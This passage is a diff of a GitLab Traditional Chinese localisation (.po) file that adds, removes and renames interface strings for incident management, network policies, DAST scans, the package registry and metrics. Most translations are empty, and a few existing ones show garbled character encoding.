+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12677,6 +12985,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12692,6 +13003,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12704,13 +13018,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12719,21 +13033,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12746,6 +13063,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12764,6 +13084,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12839,6 +13162,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -12905,6 +13231,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -12918,7 +13247,7 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -12945,6 +13274,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -12957,13 +13292,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -12993,7 +13325,7 @@ msgstr "循環週期"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13005,9 +13337,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13104,6 +13442,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13143,6 +13514,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13242,9 +13616,6 @@ msgstr ""
msgid "Issues"
msgstr "議題"
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13386,6 +13757,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13428,6 +13802,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13443,6 +13820,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13731,8 +14111,8 @@ msgstr "標籤å¯ä»¥ç”¨æ–¼è­°é¡Œå’Œåˆä½µè«‹æ±‚以å°å®ƒå€‘進行分類。"
msgid "Labels can be applied to issues and merge requests."
msgstr "標籤å¯ä»¥ç”¨æ–¼è­°é¡Œå’Œåˆä½µè«‹æ±‚。"
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
-msgstr "<span>è¦è®“標籤</span> %{labelTitle} <span>æå‡åˆ°ç¾¤çµ„標籤嗎?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
+msgstr ""
msgid "Labels|Promote Label"
msgstr "æå‡æ¨™ç±¤"
@@ -13960,7 +14340,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14053,10 +14433,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14083,6 +14463,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14146,9 +14529,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14164,9 +14544,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14219,6 +14596,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14240,6 +14620,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14291,7 +14674,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14342,6 +14725,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14357,6 +14746,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14441,9 +14833,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14555,9 +14944,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14693,6 +15079,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14702,9 +15097,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14732,15 +15124,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "åˆä½µè«‹æ±‚"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14756,6 +15148,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14819,6 +15214,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -14951,6 +15367,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15053,6 +15475,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15062,9 +15490,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15098,9 +15523,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15111,9 +15542,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15141,6 +15569,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15165,6 +15596,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15243,6 +15677,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15292,12 +15729,18 @@ msgid "Milestone"
msgid_plural "Milestones"
msgstr[0] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr "ç›®å‰è¨±å¯è­‰ç„¡æ³•ä½¿ç”¨é‡Œç¨‹ç¢‘列表"
msgid "Milestone lists show all issues from the selected milestone."
msgstr "里程碑列表將顯示所é¸é‡Œç¨‹ç¢‘的所有議題"
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15463,6 +15906,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15508,6 +15960,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "月"
@@ -15697,12 +16152,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15712,6 +16200,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15724,6 +16215,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15742,12 +16236,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15772,9 +16272,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15787,9 +16293,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16181,12 +16732,18 @@ msgstr "沒有存儲庫"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "沒有計劃"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16274,18 +16831,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16433,9 +16984,6 @@ msgstr "å一月"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16475,9 +17023,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16520,21 +17065,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16544,25 +17095,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16620,9 +17177,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16641,6 +17195,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16656,9 +17213,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16779,18 +17342,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16824,9 +17381,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -16911,6 +17465,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -16926,6 +17486,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -16944,9 +17507,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -16983,27 +17543,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17052,13 +17603,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17202,7 +17759,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17706,6 +18263,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17859,13 +18419,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17877,6 +18437,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18168,15 +18731,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18567,6 +19124,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18591,6 +19151,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "å稱"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "從未"
@@ -19182,7 +19745,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19191,10 +19754,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19254,6 +19826,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19308,6 +19883,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
